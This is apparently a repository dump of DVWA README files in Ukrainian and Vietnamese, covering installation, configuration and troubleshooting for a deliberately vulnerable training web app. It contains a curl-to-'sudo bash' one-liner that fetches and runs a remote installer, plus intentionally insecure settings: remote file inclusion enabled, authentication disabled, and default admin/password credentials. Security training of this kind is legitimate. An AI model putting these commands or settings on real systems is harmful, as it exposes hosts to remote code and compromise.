```\n\n6. Після повторної перевірки ви маєте побачити `mysql_native_password`.\n\n    ```sql\n    mysql> select Host,User, plugin from mysql.user where mysql.user.User = 'dvwa';\n    +-----------+------+-----------------------+\n    | Host      | User | plugin                |\n    +-----------+------+-----------------------+\n    | localhost | dvwa | mysql_native_password |\n    +-----------+------+-----------------------+\n    1 row in set (0.00 sec)\n    ```\n\nПісля цього процес налаштування має запрацювати у звичному режимі.\n\nДля додаткової інформації див.: <https://www.php.net/manual/en/mysqli.requirements.php>.\n\n### Помилка бази даних №2002: No such file or directory\n\nСервер бази даних не запущено. У дистрибутивах на базі Debian це можна зробити за допомогою команди:\n\n```sh\nsudo service mysql start\n```\n\n### Помилки «MySQL server has gone away» та «Packets out of order»\n\nЦі помилки можуть виникати з кількох причин, але найімовірніша полягає в тім, що версія сервера\nбази даних несумісна з версією PHP.\n\nНайчастіше це трапляється під час використання останньої версії MySQL, оскільки вона погано взаємодіє з PHP.\nНайкраща порада &mdash; відмовтеся від MySQL і встановіть MariaDB, оскільки ми не зможемо допомогти з\nрозв'язанням проблем за таких умов.\n\nДля отримання додаткової інформації див.:\n\n<https://www.ryadel.com/en/fix-mysql-server-gone-away-packets-order-similar-mysql-related-errors/>\n\n### Чому не вдається під'єднатися до бази даних на CentOS?\n\nІмовірно ви зіткнулися з проблемами через SELinux. Або вимкніть SELinux, або виконайте цю команду,\nщоб дозволити вебсерверу взаємодіяти з базою даних:\n\n```sh\nsetsebool -P httpd_can_network_connect_db 1\n```\n\n### MariaDB Docker не запускається\n\nЯкщо під час спроби запуску MariaDB у логах Docker з'являється така помилка, це, швидше за все,\nпов'язано з недостатньою кількістю оперативної пам'яті на хост-машині. Якщо ви використовуєте це в\nхостинговому середовищі, найкращим рішенням буде перейти на тарифний план із більшим обсягом пам'яті\nта спробувати ще раз.\n\n```\n[Note] [Entrypoint]: Entrypoint script for MariaDB Server 1:10.11.15+maria~ubu2204 started.\n[Warn] [Entrypoint]: /sys/fs/cgroup///memory.pressure not writable, functionality unavailable to MariaDB\n```\n\nМожливо, вам також треба буде додати такий рядок до розділу volumes вашого файлу `compose.yml`:\n\n```\n- /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nПісля цього розділ volumes у стандартному конфігураційному файлі виглядатиме так:\n\n```\n     volumes:\n       - dvwa:/var/lib/mysql\n       - /sys/fs/cgroup/memory.pressure:/sys/fs/cgroup/memory.pressure\n```\n\nДокладніше про те, чому це працює, дивіться\nу [цьому обговоренні](https://github.com/MariaDB/mariadb-docker/issues/626).\n\n### Інше\n\nДля отримання актуальної інформації щодо усунення несправностей, будь ласка, ознайомтеся з\nвідкритими та закритими тікетами в репозиторії git:\n\n<https://github.com/digininja/DVWA/issues>\n\nПерш ніж створювати тікет, переконайтеся, що ви використовуєте останню версію коду з репозиторію. Це\nне останній реліз, а найсвіжіший код із гілки `master`.\n\nПід час створенні тікета зазначте щонайменше таку інформацію:\n\n- Операційна система\n- Останні 5 рядків із логу помилок вебсервера безпосередньо після виникнення помилки, про яку ви\n  повідомляєте\n- Якщо проблема пов'язана з автентифікацією бази даних, виконайте описані вище кроки та зробіть\n  знімок екрана кожного з них. Надішліть їх разом зі знімком екрана розділу конфігураційного файлу,\n  де вказано ім'я користувача та пароль бази даних.\n- Повний опис того, що саме йде негаразд, чого ви очікуєте, і що ви вже намагалися зробити, щоб це\n  виправити. Фрази «вхід не працює» недостатньо, щоб ми могли зрозуміти вашу проблему та допомогти\n  її розв'язати.\n\n---\n\n## Навчальні посібники\n\nЯ збираюся підготувати кілька навчальних відео, які розкривають деякі вразливості та показують, як\nїх виявити, а відтак &mdash; як ними скористатися. Ось ті, що я вже зробив:\n\n[Пошук та експлуатація відбитого XSS](https://youtu.be/V4MATqtdxss)\n\n---\n\n## SQLite3 SQL-ін'єкція\n\n_Підтримка цієї функції обмежена. Перш ніж повідомляти про проблеми, будь ласка, переконайтеся, що\nви готові до самостійного налагодження; не варто просто стверджувати, що «це не працює»._\n\nТипово SQLi та Blind SQLi виконуються на сервері MariaDB/MySQL, який використовується\nсайтом, але можна перемкнути налаштування, щоб тестувати SQL-ін'єкції на базі SQLite3.\n\nЯ не буду описувати, як налаштувати роботу SQLite3 з PHP, але зазвичай достатньо просто встановити\nпакет `php-sqlite3` і переконатися, що він активований.\n\nЩоб змінити налаштування, просто відредагуйте конфігураційний файл, додавши або змінивши ці рядки:\n\n```php\n$_DVWA[\"SQLI_DB\"] = \"sqlite\";\n$_DVWA[\"SQLITE_DB\"] = \"sqli.db\";\n```\n\nТипово використовується файл `database/sqli.db`. Якщо ви щось зіпсуєте, просто перезапишіть його\nфайлом `database/sqli.db.dist`.\n\nЗавдання точно такі ж, як і для MariaDB, просто вони виконуються на базі SQLite3.\n\n---\n\n👨‍💻 Учасники\n-----\n\nДякуємо за всі ваші внески та за те, що підтримуєте цей проєкт в актуальному стані. :heart:\n\nЯкщо у вас є ідея, якесь покращення або ви просто хочете співпрацювати, ми запрошуємо вас долучатися\nта брати участь у проєкті &mdash; сміливо надсилайте свої PR.\n\n<p align=\"center\">\n<a href=\"https://github.com/digininja/DVWA/graphs/contributors\">\n  <img src=\"https://contrib.rocks/image?repo=digininja/DVWA&max=500\">\n</a>\n</p>\n\n---\n\n## Повідомлення про вразливості\n\nПростіше кажучи, будь ласка, не робіть цього!\n\nПриблизно раз на рік хтось надсилає звіт про вразливість, яку вони знайшли в додатку. Деякі з них\nдобре написані, іноді навіть краще, ніж ті, що я бачив у платних звітах з тестування на проникнення,\nа деякі &mdash; це просто «у вас відсутні заголовки, заплатіть мені».\n\n2023 року це вийшло на зовсім новий рівень, коли хтось вирішив запросити CVE для однієї з\nвразливостей, і їм надали [CVE-2023-39848](https://nvd.nist.gov/vuln/detail/CVE-2023-39848). Було\nбагато веселощів, і купу часу було згаяно на те, щоб це виправити.\n\nУ застосунку є вразливості, і це зроблено навмисно. Більшість із них &mdash; це добре\nзадокументовані приклади, які ви опрацьовуєте як уроки, інші &mdash; «приховані», які ви маєте\nзнайти самостійно. Якщо ви справді хочете похизуватися своїми навичками пошуку прихованих секретів,\nнапишіть допис у блозі або створіть відео, оскільки напевно знайдуться люди, яким буде цікаво\nдізнатися про них і про те, як ви їх знайшли. Якщо ви надішлете нам посилання, ми навіть можемо\nдодати його до списку джерел.\n\n## Посилання\n\nДомашня сторінка проєкту: <https://github.com/digininja/DVWA>\n\n_Створено командою DVWA_\n"
  },
  {
    "path": "README.vi.md",
    "content": "# DAMN VULNERABLE WEB APPLICATION - ỨNG DỤNG WEB DỄ BỊ TẤN CÔNG\n\nDamn Vulnerable Web Application (DVWA) là một ứng dụng web PHP/MySQL cực kỳ dễ bị tấn công. Mục tiêu chính của ứng dụng này là hỗ trợ các chuyên gia bảo mật kiểm tra kỹ năng và công cụ của họ trong môi trường pháp lý, giúp các web dev hiểu rõ hơn về quy trình bảo mật ứng dụng web và hỗ trợ cả học sinh/sinh viên và giáo viên tìm hiểu về bảo mật ứng dụng web trong một môi trường được kiểm soát.\n\nMục đích của DVWA là **thực hành với một số lỗ hổng web phổ biến nhất**, với **mức độ khó khác nhau** và giao diện đơn giản, dễ hiểu.\nXin lưu ý, có **cả lỗ hổng được ghi lại và không** với phần mềm này. Đây là có chủ đích. Bạn nên thử và khám phá càng nhiều vấn đề càng tốt.\n\n- - -\n\n## Cảnh báo!\n\nDamn Vulnerable Web Application dễ bị tấn công! **Không tải nó lên folder public của nhà cung cấp dịch vụ lưu trữ của bạn hoặc bất kỳ máy chủ nào có kết nối Internet**, vì chúng sẽ bị xâm phạm. Bạn nên sử dụng máy ảo (vd như [VirtualBox](https://www.virtualbox.org/) hoặc [VMware](https://www.vmware.com/)), để sử dụng chế độ NAT networking. Trên máy khác, bạn tải và cài đặt [XAMPP](https://www.apachefriends.org/) cho web server và database.\n\n### Tuyên bố miễn trừ trách nhiệm\n\nChúng tôi không chịu trách nhiệm về cách thức mà bất kỳ ai sử dụng ứng dụng này (DVWA). Chúng tôi đã nêu rõ mục đích của ứng dụng và không nên sử dụng ứng dụng này cho mục đích xấu. Chúng tôi đã đưa ra cảnh báo và thực hiện các biện pháp để ngăn người dùng cài đặt DVWA trên máy chủ web thực tế. Nếu máy chủ web của bạn bị xâm phạm thông qua cài đặt DVWA, đó không phải là trách nhiệm của chúng tôi, mà đó là trách nhiệm của những người đã tải lên và cài đặt.\n\n- - -\n\n## Giấy phép\n\nFile này là một phần của Damn Vulnerable Web Application (DVWA).\n\nDamn Vulnerable Web Application (DVWA) là phần mềm miễn phí: bạn có thể phân phối lại và/hoặc sửa đổi nó\nnó theo các điều khoản của Giấy phép GNU General Public được xuất bản bởi\nTổ chức Phần mềm Tự do, phiên bản 3 của Giấy phép, hoặc\n(theo lựa chọn của bạn) bất kỳ phiên bản mới hơn.\n\nDamn Vulnerable Web Application (DVWA) được phân phối với hy vọng là nó sẽ hữu ích,\nnhưng KHÔNG CÓ BẤT KỲ SỰ ĐẢM BẢO NÀO; thậm chí không có sự bảo đảm ngụ ý của\nKHẢ NĂNG THƯƠNG MẠI hoặc SỰ PHÙ HỢP CHO MỘT MỤC ĐÍCH CỤ THỂ. Xem\nGiấy phép GNU General Public để biết thêm chi tiết.\n\nBạn hẳn đã nhận được một bản sao Giấy phép GNU General Public\ncùng với Damn Vulnerable Web Application (DVWA). Nếu như không, hãy xem <https://www.gnu.org/licenses/>.\n\n- - -\n\n## Internationalisation\n\nFile này đã được dịch ra nhiều ngôn ngữ:\n\n- Tiếng Ả Rập: [العربية](README.ar.md)\n- Tiếng Trung Quốc: [简体中文](README.zh.md)\n- Tiếng Pháp: [Français](README.fr.md)\n- Tiếng Hàn: [한국어](README.ko.md)\n- Tiếng Ba Tư: [فارسی](README.fa.md)\n- Tiếng Bồ Đào Nha: [Português](README.pt.md)\n- Tiếng Tây Ban Nha: [Español](README.es.md)\n- Tiếng Thổ Nhĩ Kỳ: [Türkçe](README.tr.md)\n- Tiếng Indonesia: [Indonesia](README.id.md)\n- Tiếng Việt: [Vietnamese](README.vi.md)\n\nNếu bạn muốn đóng góp bản dịch, vui lòng tạo PR. Tuy nhiên, xin lưu ý rằng điều này không có nghĩa là chỉ dịch nó bằng Google Dịch và gửi, những nội dung như vậy sẽ bị từ chối. Gửi bản dịch của bạn bằng cách thêm file 'README.xx.md' mới trong đó xx là mã gồm hai chữ cái đại diện của ngôn ngữ bạn muốn (dựa vào [ISO 639-1](https://en.wikipedia.org/wiki/List_of_ISO_639-1_codes)).\n\n- - -\n\n## Download\n\nMặc dù có nhiều phiên bản DVWA khác nhau nhưng phiên bản được hỗ trợ duy nhất là từ repo GitHub chính thức này. Bạn có thể clone nó từ repo:\n\n```\ngit clone https://github.com/digininja/DVWA.git\n```\n\nHoặc [tải file zip](https://github.com/digininja/DVWA/archive/master.zip).\n\n- - -\n\n## Cài đặt\n\n### Cài đặt tự động 🛠️\n\n**Lưu ý, đây không phải là script chính thức của DVWA, nó được viết bởi [IamCarron](https://github.com/iamCarron/). Rất nhiều nỗ lực đã được thực hiện để tạo script và khi nó được tạo, nó không làm bất cứ điều gì độc hại, tuy nhiên, để đề phòng, bạn nên xem lại script trước khi chạy nó một cách mù quáng trên hệ thống của mình. Vui lòng báo cáo bất kỳ lỗi nào cho [IamCarron](https://github.com/iamCarron/), chứ không phải reong repo này.**\n\nScript cấu hình tự động cho DVWA trên các máy dựa trên Debian, bao gồm Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS...\n\n**Lưu ý: Script này yêu cầu quyền root và được điều chỉnh cho các distro dựa trên Debian. Đảm bảo bạn đang chạy nó với quyền root user.**\n\n#### Yêu cầu cài đặt\n\n- **Hệ điều hành:** Distro trên Debian (Kali, Ubuntu, Kubuntu, Linux Mint, Zorin OS).\n- **Đặc quyền:** Sử dụng root user.\n\n#### Các bước cài đặt\n\n##### Bằng một lệnh duy nhất (One-liner)\n\nLệnh này sẽ tải script cài đặt được viết bởi [@IamCarron](https://github.com/IamCarron) xuống và tự động chạy script đó. Điều này sẽ không được đưa vào đây nếu chúng tôi không tin cậy tác giả và kịch bản như khi chúng tôi xem xét nó, nhưng luôn có khả năng ai đó sẽ lừa đảo và vì vậy nếu bạn không cảm thấy an toàn khi chạy code của người khác mà không kiểm tra trước, hãy làm theo quy trình thủ công và bạn có thể xem lại sau khi tải xuống.\n\n```bash\nsudo bash -c \"$(curl --fail --show-error --silent --location https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh)\"\n```\n\n##### Chạy script thủ công\n\n1. **Tải script:**\n\n   ```bash\n   wget https://raw.githubusercontent.com/IamCarron/DVWA-Script/main/Install-DVWA.sh\n   ```\n\n2. **Sử quyền cho script để có thể chạy:**\n\n   ```bash\n   chmod +x Install-DVWA.sh\n   ```\n\n3. **Chạy script với quyền root:**\n   ```bash\n   sudo ./Install-DVWA.sh\n   ```\n\n### Video hướng dẫn cài đặt\n\n- [Installing DVWA on Kali running in VirtualBox](https://www.youtube.com/watch?v=WkyDxNJkgQ4)\n- [Installing DVWA on Windows using XAMPP](https://youtu.be/Yzksa_WjnY0)\n- [Installing Damn Vulnerable Web Application (DVWA) on Windows 10](https://www.youtube.com/watch?v=cak2lQvBRAo)\n\n### Windows + XAMPP\n\nCách dễ nhất để cài đặt DVWA là tải xuống và cài đặt [XAMPP](https://www.apachefriends.org/) nếu bạn chưa thiết lập.\n\nXAMPP là một bản phân phối Apache rất dễ cài đặt cho Linux, Solaris, Windows và Mac OS X. Gói này bao gồm máy chủ web Apache, MySQL, PHP, Perl, máy chủ FTP và phpMyAdmin.\n\n[Video](https://youtu.be/Yzksa_WjnY0) này sẽ hướng dẫn bạn quy trình cài đặt cho Windows nhưng quy trình này sẽ tương tự đối với các hệ điều hành khác.\n\n### Docker\n\nCảm ơn sự giúp đỡ từ [hoang-himself](https://github.com/hoang-himself) và [JGillam](https://github.com/JGillam), mọi commit với nhánh `master` đều khiến Docker image được build và sẵn sàng để kéo xuống từ GitHub Container Register.\n\nĐể biết thêm thông tin, hãy duyệt qua [Docker image dựng sẵn](https://github.com/digininja/DVWA/pkgs/container/dvwa).\n\n#### Bắt đầu\n\nĐiều kiện: Cần Docker và Docker Compose.\n\n- Nếu bạn đang sử dụng Docker Desktop thì cả hai đã được cài đặt sẵn.\n- Nếu bạn thích Docker Engine trên Linux, hãy nhớ làm theo [hướng dẫn cài đặt](https://docs.docker.com/engine/install/#server) của họ.\n\n**Chúng tôi cung cấp hỗ trợ cho bản phát hành Docker mới nhất như ở trên.**\nNếu bạn đang sử dụng Linux và package Docker đi kèm với package manager của mình, nó có thể cũng hoạt động nhưng chỉ dừng lại ở việc hỗ trợ.\n\nViệc nâng cấp Docker từ package manager lên phiên bản upstream yêu cầu bạn gỡ cài đặt các phiên bản cũ như trong hướng dẫn sử dụng dành cho [Ubuntu](https://docs.docker.com/engine/install/ubuntu/#uninstall-old-versions), [Fedora](https://docs.docker.com/engine/install/fedora/#uninstall-old-versions) và các distro khác.\nDữ liệu Docker (containers, images, volumes, etc.) sẽ không bị ảnh hưởng nhưng nếu như có lỗi xảy ra, hãy [báo cáo cho Docker](https://www.docker.com/support) và tìm kiếm cách để sửa lỗi.\n\nHãy bắt đầu:\n\n1. Chạy `docker version` và `docker compose version` để xem bạn đã cài đặt Docker và Docker Compose đúng cách chưa. Bạn sẽ có thể xem phiên bản của chúng trong output.\n\n   Ví dụ:\n\n   ```text\n   >>> docker version\n   Client:\n    [...]\n    Version:           23.0.5\n    [...]\n\n   Server: Docker Desktop 4.19.0 (106363)\n    Engine:\n     [...]\n     Version:          23.0.5\n     [...]\n\n   >>> docker compose version\n   Docker Compose version v2.17.3\n   ```\n\n   Nếu bạn không thấy gì hoặc gặp lỗi không tìm thấy lệnh, hãy làm theo các điều kiện tiên quyết để cài đặt Docker và Docker Compose.\n\n2. Clone hoặc download repo này về và giải nén (xem [Download](#download)).\n3. Mở terminal vả tuy cập vào folder (`DVWA`).\n4. Chạy `docker compose up -d`.\n\nDVWA sẽ chạy trên `http://localhost:4280`.\n\n**Lưu ý rằng để chạy DVWA trong container, máy chủ web đang lắng nghe trên port 4280 thay vì port 80 thông thường.**\nĐể biết thêm thông tin về quyết định này, hãy xem [I want to run DVWA on a different port](#i-want-to-run-dvwa-on-a-different-port).\n\n#### Local Build\n\nNếu bạn đã thực hiện các thay đổi local và muốn xây dựng dự án từ local, hãy vào `compose.yml` và thay đổi `pull_policy: always` thành `pull_policy: build`.\n\nViệc chạy `docker compose up -d` sẽ kích hoạt Docker xây dựng image từ local bất kể những gì có sẵn trong registry.\n\nXem thêm: [`pull_policy`](https://github.com/compose-spec/compose-spec/blob/master/05-services.md#pull_policy).\n\n### Phiên bản PHP\n\nLý tưởng nhất là bạn nên sử dụng phiên bản PHP ổn định mới nhất vì đó là phiên bản mà ứng dụng này sẽ được phát triển và thử nghiệm.\n\nNếu bạn sử dụng PHP 5.x thì sẽ không được hỗ trợ.\n\nCác phiên bản dưới 7.3 có các vấn đề sẽ gây ra lỗi, hầu hết ứng dụng sẽ hoạt động nhưng chuyện gì cũng có thể xảy ra. Trừ khi bạn có lý do chính đáng để sử dụng phiên bản cũ như vậy, nếu không sẽ không được hỗ trợ.\n\n### Linux Packages\n\nNếu bạn đang sử dụng bản distro Linux dựa trên Debian, bạn sẽ cần cài đặt các gói sau _(hoặc tương đương)_:\n\n- apache2\n- libapache2-mod-php\n- mariadb-server\n- mariadb-client\n- php php-mysqli\n- php-gd\n\nBạn nên cập nhật trước đó để đảm bảo rằng bạn sẽ nhận được phiên bản mới nhất của mọi thứ.\n\n```\napt update\napt install -y apache2 mariadb-server mariadb-client php php-mysqli php-gd libapache2-mod-php\n```\n\nTrang web sẽ hoạt động với MySQL thay vì MariaDB nhưng chúng tôi đặc biệt khuyên dùng MariaDB vì nó hoạt động tốt trong khi bạn phải thực hiện các thay đổi để MySQL hoạt động chính xác.\n\n## Cấu hình\n\n### File cấu hình\n\nDVWA gửi kèm một bản sao dummy của file cấu hình mà bạn sẽ cần copy rồi thực hiện các thay đổi thích hợp. Trên Linux, giả sử bạn đang ở trong folder DVWA, việc này có thể được thực hiện như sau:\n\n`cp config/config.inc.php.dist config/config.inc.php`\n\nTrên Windows, việc này có thể khó hơn một chút nếu bạn đang ẩn phần file extension. Nếu bạn không chắc chắn về điều này, blog này sẽ giải thích thêm về điều đó:\n\n[How to Make Windows Show File Extensions](https://www.howtogeek.com/205086/beginner-how-to-make-windows-show-file-extensions/)\n\n### Database Setup\n\nDatabase setup rất đơn giản bằng cách nhấn `Setup DVWA` trên menu chính, sau đó nhấn `Create / Reset Database`. Tanh ấy sẽ tạo/reset database cho bạn với một số dữ liệu.\n\nNếu bạn gặp lỗi khi cố gắng tạo database, hãy đảm bảo thông tin xác thực database của bạn là chính xác trong `./config/config.inc.php`. _File này khác với config.inc.php.dist (file ví dụ)._\n\nCác biến mặc định như sau:\n\n```php\n$_DVWA[ 'db_server'] = '127.0.0.1';\n$_DVWA[ 'db_port'] = '3306';\n$_DVWA[ 'db_user' ] = 'dvwa';\n$_DVWA[ 'db_password' ] = 'p@ssw0rd';\n$_DVWA[ 'db_database' ] = 'dvwa';\n```\n\nLưu ý, nếu bạn đang sử dụng MariaDB chứ không phải MySQL (MariaDB là mặc định trong Kali), thì bạn không thể sử dụng root use của database, bạn phải tạo người dùng database mới. Để thực hiện việc này, hãy kết nối với database với tư cách là root user, sau đó sử dụng các lệnh sau:\n\n```mariadb\nMariaDB [(none)]> create database dvwa;\nQuery OK, 1 row affected (0.00 sec)\n\nMariaDB [(none)]> create user dvwa@localhost identified by 'p@ssw0rd';\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> grant all on dvwa.* to dvwa@localhost;\nQuery OK, 0 rows affected (0.01 sec)\n\nMariaDB [(none)]> flush privileges;\nQuery OK, 0 rows affected (0.00 sec)\n```\n\n### Tắt Xác Thực (Authentication)\n\nMột số tool không hoạt động tốt với xác thực nên không thể sử dụng với DVWA. Để giải quyết vấn đề này, có một tùy chọn cấu hình để tắt tính năng kiểm tra xác thực. Để thực hiện, bạn chỉ cần đặt thông tin sau trong file cấu hình:\n\n```php\n$_DVWA[ 'disable_authentication' ] = true;\n```\n\nBạn cũng sẽ cần đặt mức bảo mật thành mức phù hợp với thử nghiệm bạn muốn thực hiện:\n\n```php\n$_DVWA[ 'default_security_level' ] = 'low';\n```\n\nVới cấu hình này, bạn có thể truy cập tất cả các tính năng mà không cần đăng nhập và đặt bất kỳ cookie nào.\n\n### Quyền cũa folder\n\n- `./hackable/uploads/` - Dịch vụ web cần có khả năng ghi được (đối với tải file lên).\n\n### Cấu hình PHP\n\nTrên Linux, hãy vào `/etc/php/x.x/fpm/php.ini` hoặc `/etc/php/x.x/apache2/php.ini`.\n\n- Để cho phép Bao gồm file remote (Remote File Inclusions - RFI):\n\n  - `allow_url_include = on` [[allow_url_include](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-include)]\n  - `allow_url_fopen = on` [[allow_url_fopen](https://secure.php.net/manual/en/filesystem.configuration.php#ini.allow-url-fopen)]\n\n- Để đảm bảo PHP hiển thị tất cả các thông báo lỗi:\n  - `display_errors = on` [[display_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-errors)]\n  - `display_startup_errors = on` [[display_startup_errors](https://secure.php.net/manual/en/errorfunc.configuration.php#ini.display-startup-errors)]\n\nĐảm bảo bạn khởi động lại dịch vụ php hoặc Apache sau khi thực hiện các thay đổi.\n\n### reCAPTCHA\n\nNước này chỉ cần cho lab \"Insecure CAPTCHA\", nếu bạn không làm lab thì có thể bỏ qua\n\nĐã tạo một cặp API key từ <https://www.google.com/recaptcha/admin/create>.\n\nSau đó copy vào phần`./config/config.inc.php`:\n\n- `$_DVWA[ 'recaptcha_public_key' ]`\n- `$_DVWA[ 'recaptcha_private_key' ]`\n\n### Thông tin xác thực mặc định (Default credentials)\n\n**Default username = `admin`**\n\n**Default password = `password`**\n\n_...có thể dễ bị brute forced ;)_\n\nLogin URL: http://127.0.0.1/login.php\n\n_Lưu ý: URl này sẽ khác nếu bạn cài đặt DVWA vào một folder khác._\n\n- - -\n\n## Troubleshooting\n\nHướng dẫn này giả sử bạn đang sử dụng distro dựa trên Debian, chẳng hạn như Debian, Ubuntu và Kali. Đối với các distro khác, hãy tiếp tục làm theo, nhưng hãy cập nhật lệnh khi cần.\n\n### Containers\n\n#### Tôi muốn xem logs\n\nNếu bạn đang sử dụng Docker Desktop, logs có thể được truy cập từ ứng dụng.\nMột số chi tiết nhỏ có thể thay đổi với các phiên bản mới hơn, nhưng cơ bản là giống nhau.\n\n![Tổng quan của DVWA compose](./docs/graphics/docker/overview.png)\n![Xem DVWA logs](docs/graphics/docker/detail.png)\n\nLogs có thể được xem từ terminal.\n\n1. Mở terminal vào vào folder DVWA\n2. Xem logs\n\n   ```shell\n   docker compose logs\n   ```\n\n   Nếu bạn muốn export logs ra file riêng, e.g. `dvwa.log`\n\n   ```shell\n   docker compose logs >dvwa.log\n   ```\n\n#### Tôi muốn chạy DVWA trên port khác\n\nChúng tôi không sử dụng port 80 như mặc định vì một số lý do:\n\n- Một số người dùng có thể đã chạy gì đó trên port 80.\n- Một số người dùng có thể đang sử dụng rootless container engine (như Podman) và 80 là cổng đặc quyền (< 1024). Cấu hình thêm (e.g. cài đặt `net.ipv4.ip_unprivileged_port_start`) là cần thiết nhưng bạn phải tự tìm hiểu.\n\nbạn có thể expose DVWA trên port khác bằng cách sử port binding trong `compose.yml`.\nVí dụ, bạn có thể thay đổi:\n\n```yml\nports:\n  - 127.0.0.1:4280:80\n```\n\nthành\n\n```yml\nports:\n  - 127.0.0.1:8806:80\n```\n\nDVWA sẽ chạy trên `http://localhost:8806`.\n\nTrong trường hợp bạn muốn DVWA không chỉ có thể truy cập được từ thiết bị của riêng bạn mà còn\ntrên mạng local của bạn (ví dụ: vì bạn đang thiết lập máy thử nghiệm cho workshop), bạn\ncó thể xóa `127.0.0.1:` khỏi port mapping (hoặc thay thế nó bằng IP LAN của bạn). Bằng cách này\nsẽ nghe trên tất cả các thiết bị có sẵn. Mặc định an toàn phải luôn là chỉ listen trên\nthiết bị loopback local. Xét cho cùng, đây là một ứng dụng web dễ bị tấn công, chạy trên máy của bạn.\n\n#### DVWA tự động chạy khi Docker chạy\n\nFile [`compose.yml`](./compose.yml) sẽ tự động chạy DVWA và database khi Docker chạy.\n\nNếu bạn không muốn, xóa hoặc comment dòng `restart: unless-stopped` trong [`compose.yml`](./compose.yml).\n\nNếu bạn muốn tắt tạm thời, bạn có thể chạy `docker compose stop`, hoặc xài Docker Desktop, tìm `dvwa` và nhấn Stop.\nThêm vào đó, bạn có thể xóa containers, hoặc chạy `docker compose down`.\n\n### Log files\n\nTrên Linux, Apache tạo 2 file log mặc định, `access.log` và `error.log` và trên hện thống với nền tảng Debian, các file log thường nằm trong `/var/log/apache2/`.\n\nKhi gửi báo cáo lỗi, sự cố hoặc bất kỳ điều gì tương tự, vui lòng bao gồm ít nhất năm dòng cuối cùng từ mỗi file này. Trên các distro dựa trên Debian, bạn có thể nhận được những thứ như thế này:\n\n```\ntail -n 5 /var/log/apache2/access.log /var/log/apache2/error.log\n```\n\n### Truy cập vào site nhưng nhận 404\n\nNếu bạn gặp lỗi này thi bạn cần hiểu rõ về vị trí của file. Mặc định, folder gốc của tài liệu Apache (nơi bắt đầu tìm kiếm nội dung web) là `/var/www/html`. Nếu bạn đặt file `hello.txt` trong folder này, để truy cập nó bạn cần duyệt đến `http://localhost/hello.txt`.\n\nNếu bạn đã tạo một folder và đặt file vào đó - `/var/www/html/mydir/hello.txt` - sau đó bạn sẽ cần phải duyệt đến `http://localhost/mydir/hello.txt`.\n\nLinux theo mặc định có phân biệt chữ hoa chữ thường, trong ví dụ trên, nếu bạn cố duyệt đến bất kỳ trang nào trong số này, bạn sẽ nhận được một `404 Not Found`:\n\n- `http://localhost/MyDir/hello.txt`\n- `http://localhost/mydir/Hello.txt`\n- `http://localhost/MYDIR/hello.txt`\n\nĐiều này ảnh hưởng đến DVWA như thế nào? Hầu hết mọi người sử dụng git để checkout DVWA vào `/var/www/html`, bạn sẽ được đưa tới `/var/www/html/DVWA/` với tất cả các file DVWA bên trong nó. Sau đó họ duyệt đến `http://localhost/` và nhận được `404` hoặc trang welcome mặc định của Apache. Vì file nằm trong DVWA, bạn phải duyệt tới `http://localhost/DVWA`.\n\nMột lỗi phổ biến khác là duyệt đến `http://localhost/dvwa` sẽ dẫn đến `404` vì `dvwa` không phải `DVWA` liên quan đến việc khớp folder trong Linux.\n\nVì vậy, sau khi thiết lập, nếu bạn cố truy cập trang web và nhận được `404`, hãy nghĩ xem bạn đã cài đặt các file vào đâu, vị trí của chúng có liên quan đến folder gốc của tài liệu và trường hợp của folder bạn đã sử dụng là gì.\n\n### \"Access denied\" khi setup\n\nNếu bạn thấy thông báo sau khi chạy script thiết lập, điều đó có nghĩa là tên người dùng hoặc mật khẩu trong file cấu hình không khớp với tên người dùng hoặc mật khẩu được định cấu hình trên database:\n\n```\nDatabase Error #1045: Access denied for user 'notdvwa'@'localhost' (using password: YES).\n```\n\nLỗi cho bạn biết rằng bạn đang sử dụng tên người dùng `notdvwa`.\n\nLỗi sau đây cho biết bạn đã trỏ file cấu hình vào database sai.\n\n```\nSQL: Access denied for user 'dvwa'@'localhost' to database 'notdvwa'\n```\n\nLỗi báo rằng bạn đang sử dụng người dùng `dvwa` và đang cố gắng kết nối với database `notdvwa`.\n\nĐiều đầu tiên cần làm là kiểm tra kỹ xem bạn nghĩ mình đã đặt gì trong file cấu hình có thực sự ở đó không.\n\nNếu như bạn đã chắc chắn, việc tiếp theo cần làm là kiểm tra xem bạn có thể đăng nhập với tư cách người dùng trên command line hay không. Giả sử bạn có người dùng database là `dvwa` và mật khẩu là `p@ssw0rd`, hãy chạy lệnh sau:\n\n```\nmysql -u dvwa -pp@ssw0rd -D dvwa\n```\n\n_Lưu ý: Không có khoảng trắng sau -p_\n\nNếu bạn thấy như sau thì mật khẩu là chính xác:\n\n```\nWelcome to the MariaDB monitor.  Commands end with ; or \\g.\nYour MariaDB connection id is 14\nServer version: 10.3.22-MariaDB-0ubuntu0.19.10.1 Ubuntu 19.10\n\nCopyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.\n\nType 'help;' or '\\h' for help. Type '\\c' to clear the current input statement.\n\nMariaDB [dvwa]>\n```\n\nVì bạn có thể kết nối trên dòng lệnh, nên có thể đã xảy ra lỗi trong file cấu hình, hãy kiểm tra kỹ và sau đó nêu vấn đề nếu bạn vẫn không thể làm mọi thứ hoạt động.\n\nNếu bạn thấy thông báo sau thì tên người dùng hoặc mật khẩu bạn đang sử dụng không đúng. Thử lại bước [Database Setup](#database-setup) và đảm bảo bạn sử dụng cùng tên người dùng và mật khẩu trong suốt quá trình.\n\n```\nERROR 1045 (28000): Access denied for user 'dvwa'@'localhost' (using password: YES)\n```\n\nNếu bạn nhận được thông tin sau thì thông tin đăng nhập của người dùng là chính xác nhưng người dùng không có quyền truy cập vào database. Một lần nữa, hãy lặp lại các bước thiết lập và kiểm tra tên database bạn đang sử dụng.\n\n```\nERROR 1044 (42000): Access denied for user 'dvwa'@'localhost' to database 'dvwa'\n```\n\nLỗi cuối cùng bạn có thể gặp phải là:\n\n```\nERROR 2002 (HY000): Can't connect to local MySQL server through socket '/var/run/mysqld/mysqld.sock' (2)\n```\n\nĐây không phải là lỗi xác thực mà là máy chủ database không chạy. Hãy thử:\n\n```sh\nsudo service mysql start\n```\n\n### Từ chối kết nối\n\nMột lỗi tương tự như lỗi này:\n\n```\nFatal error: Uncaught 